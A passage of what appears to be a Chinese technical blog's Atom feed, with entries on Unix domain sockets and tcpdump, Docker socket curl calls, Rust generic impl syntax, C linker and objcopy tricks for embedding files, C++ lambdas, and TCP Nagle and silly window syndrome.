curl -H &amp;quot;Content-Type: application&amp;#x2F;json&amp;quot; -X POST -d &amp;#x27;{&amp;quot;NetworkID&amp;quot;:&amp;quot;47866b0071e3df7e8053b9c8e499986dfe5c9c4947012db2d963c66ca971ed4b&amp;quot;,&amp;quot;EndpointID&amp;quot;:&amp;quot;3d716436e629701d3ce8650e7a85c133b0ff536aed173c624e4f62a381656862&amp;quot;}&amp;#x27; --unix-socket &amp;#x2F;run&amp;#x2F;docker&amp;#x2F;plugins&amp;#x2F;vlan.sock http:&amp;#x2F;&amp;#x2F;localhost&amp;#x2F;NetworkDriver.Leave

sudo curl --no-buffer -XGET --unix-socket &amp;#x2F;var&amp;#x2F;run&amp;#x2F;docker.sock http:&amp;#x2F;&amp;#x2F;localhost&amp;#x2F;events
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;unix-domain-socketgong-zuo-yuan-li&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;mp.weixin.qq.com&#x2F;s&#x2F;fHzKYlW0WMhP2jxh2H_59A&quot;&gt;Unix Domain Socket工作原理&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;接收connect 请求的时候，会申请一个新 socket 给 server 端将来使用，和自己的 socket 建立好连接关系以后，就放到服务器正在监听的 socket 的接收队列中。这个时候，服务器端通过 accept 就能获取到和客户端配好对的新 socket 了。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;（迁移注：原图片缺失 &lt;code&gt;assets&#x2F;640-0054201-20231227140102-2q26i0g.&lt;&#x2F;code&gt;，已移除）&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;plantegg.github.io&#x2F;images&#x2F;951413iMgBlog&#x2F;640-0054201.&quot;&gt;https:&#x2F;&#x2F;plantegg.github.io&#x2F;images&#x2F;951413iMgBlog&#x2F;640-0054201.&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;主要的连接操作都是在这个函数中完成的。和我们平常所见的 TCP 连接建立过程，这个连接过程简直是太简单了。没有三次握手，也没有全连接队列、半连接队列，更没有啥超时重传。&lt;&#x2F;p&gt;
&lt;p&gt;直接就是将两个 socket 结构体中的指针互相指向对方就行了。就是 unix_peer(newsk) = sk 和 unix_peer(sk) = newsk 这两句。&lt;&#x2F;p&gt;
&lt;div&gt;
&lt;pre&gt;&lt;p&gt;&lt;span class=&quot;comment&quot;&gt;&#x2F;&#x2F;file: net&#x2F;unix&#x2F;af_unix.c&lt;&#x2F;span&gt;&lt;&#x2F;p&gt;&lt;p&gt;&lt;span class=&quot;function&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;static&lt;&#x2F;span&gt; &lt;span class=&quot;keyword&quot;&gt;int&lt;&#x2F;span&gt; &lt;span class=&quot;title&quot;&gt;unix_stream_connect&lt;&#x2F;span&gt;&lt;span class=&quot;params&quot;&gt;(struct socket *sock, struct sockaddr *uaddr,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;p&gt;&lt;p&gt;&lt;span class=&quot;keyword&quot;&gt;int&lt;&#x2F;span&gt; addr_len, &lt;span class=&quot;keyword&quot;&gt;int&lt;&#x2F;span&gt; flags)&lt;&#x2F;p&gt;&lt;p&gt;{&lt;&#x2F;p&gt;&lt;p&gt;&lt;span class=&quot;class&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;struct&lt;&#x2F;span&gt; &lt;span class=&quot;title&quot;&gt;sockaddr_un&lt;&#x2F;span&gt; *&lt;span class=&quot;title&quot;&gt;sunaddr&lt;&#x2F;span&gt; = (&lt;span class=&quot;title&quot;&gt;struct&lt;&#x2F;span&gt; &lt;span class=&quot;title&quot;&gt;sockaddr_un&lt;&#x2F;span&gt; *)&lt;span class=&quot;title&quot;&gt;uaddr&lt;&#x2F;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;p&gt;&lt;p&gt;&lt;span class=&quot;comment&quot;&gt;&#x2F;&#x2F; 1. 为服务器侧申请一个新的 socket 对象&lt;&#x2F;span&gt;&lt;&#x2F;p&gt;&lt;p&gt; newsk = unix_create1(sock_net(sk), &lt;span class=&quot;literal&quot;&gt;NULL&lt;&#x2F;span&gt;);&lt;&#x2F;p&gt;&lt;p&gt;&lt;span class=&quot;comment&quot;&gt;&#x2F;&#x2F; 2. 申请一个 skb，并关联上 newsk&lt;&#x2F;span&gt;&lt;&#x2F;p&gt;&lt;p&gt; skb = sock_wmalloc(newsk, &lt;span class=&quot;number&quot;&gt;1&lt;&#x2F;span&gt;, &lt;span class=&quot;number&quot;&gt;0&lt;&#x2F;span&gt;, GFP_KERNEL);&lt;&#x2F;p&gt;&lt;p&gt; ...&lt;&#x2F;p&gt;&lt;p&gt;&lt;span class=&quot;comment&quot;&gt;&#x2F;&#x2F; 3. 建立两个 sock 对象之间的连接&lt;&#x2F;span&gt;&lt;&#x2F;p&gt;&lt;p&gt; unix_peer(newsk) = sk;&lt;&#x2F;p&gt;&lt;p&gt; newsk-&gt;sk_state  = TCP_ESTABLISHED;&lt;&#x2F;p&gt;&lt;p&gt; newsk-&gt;sk_type  = sk-&gt;sk_type;&lt;&#x2F;p&gt;&lt;p&gt; ...&lt;&#x2F;p&gt;&lt;p&gt; sk-&gt;sk_state = TCP_ESTABLISHED;&lt;&#x2F;p&gt;&lt;p&gt; unix_peer(sk) = newsk;&lt;&#x2F;p&gt;&lt;p&gt;&lt;span class=&quot;comment&quot;&gt;&#x2F;&#x2F; 4. 把连接中的一头（新 socket）放到服务器接收队列中&lt;&#x2F;span&gt;&lt;&#x2F;p&gt;&lt;p&gt; __skb_queue_tail(&amp;other-&gt;sk_receive_queue, skb);&lt;&#x2F;p&gt;&lt;p&gt;}&lt;&#x2F;p&gt;&lt;p&gt;&lt;span class=&quot;comment&quot;&gt;&#x2F;&#x2F;file: net&#x2F;unix&#x2F;af_unix.c&lt;&#x2F;span&gt;&lt;&#x2F;p&gt;&lt;p&gt;&lt;span class=&quot;meta&quot;&gt;#&lt;span class=&quot;meta-keyword&quot;&gt;define&lt;&#x2F;span&gt; unix_peer(sk) (unix_sk(sk)-&gt;peer)&lt;&#x2F;span&gt;&lt;&#x2F;p&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;div&gt;
&lt;p&gt;收发包过程和复杂的 TCP 发送接收过程相比，这里的发送逻辑简单简单到令人发指。申请一块内存（skb），把数据拷贝进去。根据 socket 对象找到另一端，&lt;strong&gt;直接把 skb 给放到对端的接收队列里了&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;（迁移注：原图片缺失 &lt;code&gt;assets&#x2F;640-20211221105837677-20231227140102-63ijbdk.webp&lt;&#x2F;code&gt;，已移除）&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;plantegg.github.io&#x2F;images&#x2F;951413iMgBlog&#x2F;640-20211221105837677&quot;&gt;https:&#x2F;&#x2F;plantegg.github.io&#x2F;images&#x2F;951413iMgBlog&#x2F;640-20211221105837677&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Unix Domain Socket和127.0.0.1通信相比，如果包的大小是1K以内，那么性能会有一倍以上的提升，包变大后性能的提升相对会小一些。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;tcpdumpyuan-li&quot;&gt;tcpdump原理&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;（迁移注：原图片缺失 &lt;code&gt;assets&#x2F;0923eefc85c1bf87f47591222532f1f2-20231227140102-77ehmv6.png&lt;&#x2F;code&gt;，已移除）&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;plantegg.github.io&#x2F;images&#x2F;oss&#x2F;0923eefc85c1bf87f47591222532f1f2.png&quot;&gt;https:&#x2F;&#x2F;plantegg.github.io&#x2F;images&#x2F;oss&#x2F;0923eefc85c1bf87f47591222532f1f2.png&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;tcpdump 抓包使用的是 libpcap 这种机制。它的大致原理是：在收发包时，如果该包符合 tcpdump 设置的规则（BPF filter），那么该网络包就会被拷贝一份到 tcpdump 的内核缓冲区，然后以 PACKET_MMAP 的方式将这部分内存映射到 tcpdump 用户空间，解析后就会把这些内容给输出了。&lt;&#x2F;p&gt;
&lt;p&gt;通过上图你也可以看到，在收包的时候，如果网络包已经被网卡丢弃了，那么 tcpdump 是抓不到它的；在发包的时候，如果网络包在协议栈里被丢弃了，比如因为发送缓冲区满而被丢弃，tcpdump 同样抓不到它。我们可以将 tcpdump 的能力范围简单地总结为：网卡以内的问题可以交给 tcpdump 来处理；对于网卡以外（包括网卡上）的问题，tcpdump 可能就捉襟见肘了。这个时候，你需要在对端也使用 tcpdump 来抓包。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;tcpdump-ji-qiao&quot;&gt;tcpdump 技巧&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;tcpdump -B&#x2F; &lt;strong&gt;–buffer-size=&lt;&#x2F;strong&gt;* buffer_size:&lt;em&gt;Set the operating system capture buffer size to * buffer_size &lt;em&gt;, in units of KiB (1024 bytes). tcpdump 丢包，造成这种丢包的原因是由于libcap抓到包后，tcpdump上层没有及时的取出，导致libcap缓冲区溢出，从而覆盖了未处理包，此处即显示为&lt;&#x2F;em&gt;*dropped by kernel&lt;&#x2F;em&gt;*，注意，这里的kernel并不是说是被linux内核抛弃的，而是被tcpdump的内核，即libcap抛弃掉的&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;huo-qu-jie-kou-she-bei-lie-biao&quot;&gt;获取接口设备列表&lt;&#x2F;h3&gt;
&lt;p&gt;tcpdump的&lt;code&gt;-D&lt;&#x2F;code&gt;获取接口设备列表。看到此列表后，可以决定要在哪个接口上捕获流量。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;html&quot; class=&quot;language-html &quot;&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;#tcpdump -D
1.eth0
2.bond0
3.docker0
4.nflog (Linux netfilter log (NFLOG) interface)
5.nfqueue (Linux netfilter queue (NFQUEUE) interface)
6.eth1
7.usbmon1 (USB bus number 1)
8.usbmon2 (USB bus number 2)
9.veth6f2ee76
10.veth8cb61c2
11.veth9d9d363
12.veth16c25ac
13.veth190f0fc
14.veth07103d7
15.veth09119c0
16.veth9770e1a
17.any (Pseudo-device that captures on all interfaces)
18.lo [Loopback]
# tcpdump -X &amp;#x2F;&amp;#x2F;解析内容
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;tcp-yi-nan-wen-ti-de-qing-liang-ji-fen-xi-shou-duan-tcp-tracepoints&quot;&gt;TCP 疑难问题的轻量级分析手段：TCP Tracepoints&lt;&#x2F;h2&gt;
&lt;p&gt;Tracepoint 是我分析问题常用的手段之一，在遇到一些疑难问题时，我通常都会把一些相关的 Tracepoint 打开，把 Tracepoint 输出的内容保存起来，然后再在线下环境中分析。通常，我会写一些 Python 脚本来分析这些内容，毕竟 Python 在数据分析上还是很方便的。&lt;&#x2F;p&gt;
&lt;p&gt;对于 TCP 的相关问题，我也习惯使用这些 TCP Tracepoints 来分析问题。要想使用这些 Tracepoints，你的内核版本需要为 &lt;strong&gt;4.16&lt;&#x2F;strong&gt; 及以上。这些常用的 TCP Tracepoints 路径位于 &#x2F;sys&#x2F;kernel&#x2F;debug&#x2F;tracing&#x2F;events&#x2F;tcp&#x2F; 和 &#x2F;sys&#x2F;kernel&#x2F;debug&#x2F;tracing&#x2F;events&#x2F;sock&#x2F;，它们的作用如下表所示：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;（迁移注：原图片缺失 &lt;code&gt;assets&#x2F;32f29686127beb5a3279e630259903ae-20231227140102-nv8432p.png&lt;&#x2F;code&gt;，已移除）&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;plantegg.github.io&#x2F;images&#x2F;oss&#x2F;32f29686127beb5a3279e630259903ae.png&quot;&gt;https:&#x2F;&#x2F;plantegg.github.io&#x2F;images&#x2F;oss&#x2F;32f29686127beb5a3279e630259903ae.png&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;can-kao-zi-liao&quot;&gt;参考资料：&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;mivehind.net&#x2F;2018&#x2F;04&#x2F;20&#x2F;sniffing-unix-domain-sockets&#x2F;&quot;&gt;https:&#x2F;&#x2F;mivehind.net&#x2F;2018&#x2F;04&#x2F;20&#x2F;sniffing-unix-domain-sockets&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;superuser.com&#x2F;questions&#x2F;484671&#x2F;can-i-monitor-a-local-unix-domain-socket-like-tcpdump&quot;&gt;https:&#x2F;&#x2F;superuser.com&#x2F;questions&#x2F;484671&#x2F;can-i-monitor-a-local-unix-domain-socket-like-tcpdump&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;payloads.online&#x2F;tools&#x2F;socat&quot;&gt;https:&#x2F;&#x2F;payloads.online&#x2F;tools&#x2F;socat&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gaia.cs.umass.edu&#x2F;kurose_ross&#x2F;wireshark.php&quot;&gt;计算机网络&lt;&#x2F;a&gt;（Computer Networking: A Top-Down Approach）&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>why-rust-write-impl-two-T</title>
        <published>2023-12-20T19:08:27+08:00</published>
        <updated>2023-12-20T19:08:27+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2023/12/why-rust-write-impl-two-T/"/>
        <id>https://vercel.juzhong.asia/2023/12/why-rust-write-impl-two-T/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2023/12/why-rust-write-impl-two-T/">&lt;h1 id=&quot;why-rust-write-impl-two-t&quot;&gt;why-rust-write-impl-two-T&lt;&#x2F;h1&gt;
&lt;p&gt;第一个 T 是声明，第二个 T 是使用。
如果不先声明，那么 Rust 就不能确定 T 是泛型还是具体类型，示例如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;struct Foo&amp;lt;T&amp;gt; {
    x: T
}

impl&amp;lt;T&amp;gt; Foo&amp;lt;T&amp;gt; {
    fn new() -&amp;gt; Foo&amp;lt;T&amp;gt; {
        unimplemented!()
    }
}

type T = i32;

impl Foo&amp;lt;T&amp;gt; { &amp;#x2F;&amp;#x2F; 你能确定 T 是泛型还是 i32 吗？
    fn new_t() -&amp;gt; Foo&amp;lt;T&amp;gt; {
        unimplemented!()
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>你所不知道的c</title>
        <published>2023-12-20T19:08:17+08:00</published>
        <updated>2023-12-20T19:08:17+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2023/12/你所不知道的c/"/>
        <id>https://vercel.juzhong.asia/2023/12/你所不知道的c/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2023/12/你所不知道的c/">&lt;h1 id=&quot;ni-suo-bu-zhi-dao-de-c&quot;&gt;你所不知道的c&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;qian-ru-yi-ge-er-jin-wei-dang-an-dao-zhi-xing-dang&quot;&gt;嵌入一個二進位檔案到執行檔&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;xxd --include blob
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;uname -a &amp;gt; blob
uname -a | wc -c
# 105

ld -s -r -b binary -o blob.o blob
objdump -t blob.o
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;cat &amp;gt; &amp;#x2F;tmp&amp;#x2F;t.c &amp;lt;&amp;lt;EOF
#include &amp;lt;stdio.h&amp;gt;
int main() {
 extern void *_binary_blob_start, *_binary_blob_end;
 void *start = &amp;amp;_binary_blob_start, *end = &amp;amp;_binary_blob_end;
 printf(&amp;quot;Data: %p..%p (%zu bytes)\n&amp;quot;,
   start, end, end-start);
 return 0;
}
EOF
gcc &amp;#x2F;tmp&amp;#x2F;t.c blob.o -o test
.&amp;#x2F;test
# Data: 0x55ed5ed15010..0x55ed5ed15079 (105 bytes)

readelf -S blob.o
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;objcopy-to-carry&quot;&gt;objcopy to carry&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;cat &amp;gt; testme.c &amp;lt;&amp;lt;EOF
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;

extern void    _binary__etc_passwd_size;
extern char    _binary__etc_passwd_start;
extern char    _binary__etc_passwd_end;

int
main(int argc, char **argv)
{
	(void)argc;
	(void)argv;

	&amp;#x2F;* try one of the following two lines *&amp;#x2F;
	&amp;#x2F;&amp;#x2F; size_t size = &amp;amp;_binary__etc_passwd_size;
	size_t size = &amp;amp;_binary__etc_passwd_end - &amp;amp;_binary__etc_passwd_start;

	printf(&amp;quot;Dumping &amp;#x2F;etc&amp;#x2F;passwd, in memory @%p, size is %zu.\n&amp;quot;,
		&amp;amp;_binary__etc_passwd_start, size);
	write(1,&amp;amp;_binary__etc_passwd_start,size);
	exit(0);
}
EOF

cat &amp;gt;Makefile &amp;lt;&amp;lt;EOF
CFLAGS=-Wall -Wextra -ggdb -Os

all : testme

testme : testme.o passwd.o

###
# To learn about the correct architecture and file formats,
# run objdump -x on a file compiled for your architecture of choice!
###

ifeq ($(shell uname -m),x86_64)
OBJCOPY_ARCH=-O elf64-x86-64 -B i386:x86-64
else ifeq ($(shell uname -m),armv6l)
OBJCOPY_ARCH=-O elf32-littlearm -B arm
else
OBJCOPY_ARCH=UNKNOWN_ARCHITECTURE_EDIT_MAKEFILE_TO_FIX_THIS
endif

passwd.o : &amp;#x2F;etc&amp;#x2F;passwd
	objcopy -I binary $(OBJCOPY_ARCH) \
		--rename-section .data=.rodata,alloc,load,readonly,data,contents \
		--add-section &amp;quot;.note.GNU-stack&amp;quot;=&amp;#x2F;dev&amp;#x2F;null \
		--set-section-flags &amp;quot;.note.GNU-stack&amp;quot;=contents,readonly \
		$&amp;lt; $@ || (rm -f $@ ; exit 1)

.PHONY : clean
clean :
	rm -f *.o passwd.* testme *.d *~
EOF
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;init-script-shi-fan&quot;&gt;init script 示範&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;cat &amp;gt; demo.c &amp;lt;&amp;lt;EOF
#include &amp;lt;init_hook.h&amp;gt;
#include &amp;lt;debug.h&amp;gt;

#define INIT_HOOK(_hook, _level) \
    const init_struct _init_struct_##_hook \
            __attribute__((section(&amp;quot;.init_hook&amp;quot;))) = { \
        .level = _level, \
        .hook = _hook, \
        .hook_name = #_hook, \
    };

void hook_test(void) {
    dbg_printf(DL_EMERG, &amp;quot;hook test\n&amp;quot;);
}
INIT_HOOK(hook_test, INIT_LEVEL_PLATFORM - 1)
EOF
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在 platform&#x2F;stm32f4&#x2F;f9.ld 配置了 .init_hook 的空間:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;		init_hook_start = .;
		KEEP(*(.init_hook))
		init_hook_end = .;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;最後在 kernel&#x2F;init.c 就清晰了:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;extern const init_struct init_hook_start[];
extern const init_struct init_hook_end[];
static unsigned int last_level = 0;

int run_init_hook(unsigned int level) {
    unsigned int max_called_level = last_level;

    for (const init_struct *ptr = init_hook_start;
         ptr != init_hook_end; ++ptr)
        if ((ptr-&amp;gt;level &amp;gt; last_level) &amp;amp;&amp;amp;
            (ptr-&amp;gt;level &amp;lt;= level)) {
            max_called_level = MAX(max_called_level, ptr-&amp;gt;level);
            ptr-&amp;gt;hook();
    }

    last_level = max_called_level;
    return last_level;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>C++ 的lambda</title>
        <published>2023-12-20T19:08:00+08:00</published>
        <updated>2026-10-08T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2023/12/cpp的lambda/"/>
        <id>https://vercel.juzhong.asia/2023/12/cpp的lambda/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2023/12/cpp的lambda/">&lt;h1 id=&quot;c-de-lambda&quot;&gt;C++ 的lambda&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;lambdayuan-xing-ru-xia&quot;&gt;lambda原型如下：&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;code&gt;[captures](params)&lt;&#x2F;code&gt; mutable exception attribute {body}
其中，&lt;&#x2F;p&gt;
&lt;p&gt;captures是在lambda函数体中可以访问的外部变量，有两种默认捕获模式：按值捕获和按引用捕获
params指定表达式的参数
mutable修饰符表示lambda函数可以修改捕获的变量，并调用对象的非const方法
exception告诉编译器函数是否抛异常(noexcept)
attribute用来声明属性
lambda的返回值：如果函数中有return语句，则类型从return后面的表达式推导而来；如果没有return语句，则类似于void。&lt;&#x2F;p&gt;
&lt;p&gt;关于capture的捕获模式： [a, &amp;amp;b] 表示a按值捕获，b按引用捕获；[]表示不捕获任何外部变量&lt;&#x2F;p&gt;
&lt;h1 id=&quot;lambdayou-na-xie-yong-fa&quot;&gt;lambda有哪些用法？&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;stlzhong-iflei-han-shu-zu-bi-ru&quot;&gt;STL中 if类函数族，比如&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;std::find_if(container.begin(), container.end(), [](int val){ return val&amp;gt;0})
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;自定义比较函数(std::sort, std::nthelement, std::lower_bound)
为std::unique_ptr, std::shared_ptr自定义解析器&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yong-lambdashi-xian-bi-bao&quot;&gt;用lambda实现闭包&lt;&#x2F;h2&gt;
&lt;p&gt;lambda与闭包
闭包是lambda表达式的运行期对象，根据不同的捕获模式，闭包会持有数据的副本或引用。在上面find_if函数中，闭包就是作为第三个实参在运行期传递给find_if函数的。
闭包类就是实例化闭包的类。每个lambda表达式都会触发编译器生成独一无二的闭包类。而闭包中的语句会变成它的闭包类成员函数的可执行指令。
就存在期而言，lambda和闭包类存在于编译期，闭包存在于运行期。
闭包属于可调用对象，因此可以像变量一样对它赋值。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;int target = 10;
auto biger10 = [](int i){ return i&amp;gt;target;};
int testvar = 100;
biger10(testvar);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;yin-yong-xuan-gua-wen-ti&quot;&gt;引用悬挂问题&lt;&#x2F;h1&gt;
&lt;p&gt;默认按引用捕获的一个可能问题是， 引用悬挂。即按引用捕获会导致包含指向局部变量的引用，当lambda离开局部作用域时，会导致引用的那个变量被释放，lambda里的那个引用发生&quot;悬挂&quot;。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt; using func_v = std::vector&amp;lt;std::function&amp;lt;bool(int)&amp;gt;&amp;gt;;
 
 func_v filters;
 ...
 void addFilters()
 {
   int threshold = 5; &amp;#x2F;&amp;#x2F; 局部变量
   filters.emplace_back([&amp;amp;threshold](int v){return v&amp;lt;threshold;});    
 }&amp;#x2F;&amp;#x2F; threshold已经被销毁，但是filters中仍保留着对它的引用
 filters.doSomething();  &amp;#x2F;&amp;#x2F; 未定义行为
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;yan-yi-lambdabu-huo-ye-cheng-wei-init-capture&quot;&gt;广义lambda捕获，也称为 init capture&lt;&#x2F;h1&gt;
&lt;p&gt;由于C ++ 11仅具有按值和按引用捕获，因此缺少了按移动捕获。
C ++ 14引入了广义lambda捕获，也称为 init capture 。
它允许您指定从lambda生成的闭包类中的数据成员的名称，
以及初始化该数据成员的表达式。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;auto pw = std::make_unique&amp;lt;Widget&amp;gt;(); 

&amp;#x2F;&amp;#x2F; configure *pw

auto func = [pWidget = std::move(pw)] { 
return pWidget-&amp;gt;isValidated() &amp;amp;&amp;amp; pWidget-&amp;gt;isArchived(); 
};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;C++11中
请注意，lambda的参数是一个左值引用（因为绑定对象中移动的pw是一个左值）并且有一个const限定符（用于模拟lambda的constness;所以如果原始lambda被声明为可变的，不会使用const限定符。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;auto pw = std::make_unique&amp;lt;Widget&amp;gt;();
&amp;#x2F;&amp;#x2F; configure *pw;

auto func = std::bind( [](const std::unique_ptr&amp;lt;Widget&amp;gt;&amp;amp; pWidget)
    { return pWidget-&amp;gt;isValidated() &amp;amp;&amp;amp; pWidget-&amp;gt;isArchived(); },
    std::move(pw) );
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;qi-ta&quot;&gt;其他&lt;&#x2F;h1&gt;
&lt;p&gt;最后，this 指针只能按值捕获 [this] ，不能按引用捕获 [&amp;amp;this] 。
https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;150554945&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>tcp-nagle</title>
        <published>2023-12-20T19:07:58+08:00</published>
        <updated>2023-12-20T19:07:58+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2023/12/tcp-nagle/"/>
        <id>https://vercel.juzhong.asia/2023/12/tcp-nagle/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2023/12/tcp-nagle/">&lt;h1 id=&quot;tcp-nagle&quot;&gt;tcp-nagle&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;1-hu-tu-chuang-kou-zong-he-zheng-sws&quot;&gt;1,糊涂窗口综合征(SWS)&lt;&#x2F;h1&gt;
&lt;p&gt;(1)什么是糊涂窗口综合症(Silly Window Syndrome)
当发送端应用进程产生数据很慢,或接收端应用进程处理接收缓冲区数据很慢,或二者兼而有之;就会使应用进程间传送的报文段很小,特别是有效载荷很小.极端情况下,有效载荷可能只有1个字节;而传输开销有40字节(20字节的IP头+20字节的TCP头) 这种现象就叫糊涂窗口综合症.&lt;&#x2F;p&gt;
&lt;p&gt;(2)造成糊涂窗口综合征的原因
1)发送端引起的SWS:&lt;&#x2F;p&gt;
&lt;p&gt;如果发送端为产生数据很慢的应用程序服务(典型的有telnet应用),例如,一次产生一个字节.这个应用程序一次将一个字节的数据写入发送端的TCP的缓存.如果发送端的TCP没有特定的指令,它就产生只包括一个字节数据的报文段.结果有很多41字节的IP数据报就在互连网中传来传去.解决的方法是防止发送端的TCP逐个字节地发送数据.必须强迫发送端的TCP收集数据,然后用一个更大的数据块来发送.发送端的TCP要等待多长时间呢?如果它等待过长,它就会使整个的过程产生较长的时延.如果它的等待时间不够长,它就可能发送较小的报文段,于是,Nagle找到了一个很好的解决方法,发明了Nagle算法.而他选择的等待时间是一个RTT,即下个ACK来到时.&lt;&#x2F;p&gt;
&lt;p&gt;2)接收端引起的SWS:&lt;&#x2F;p&gt;
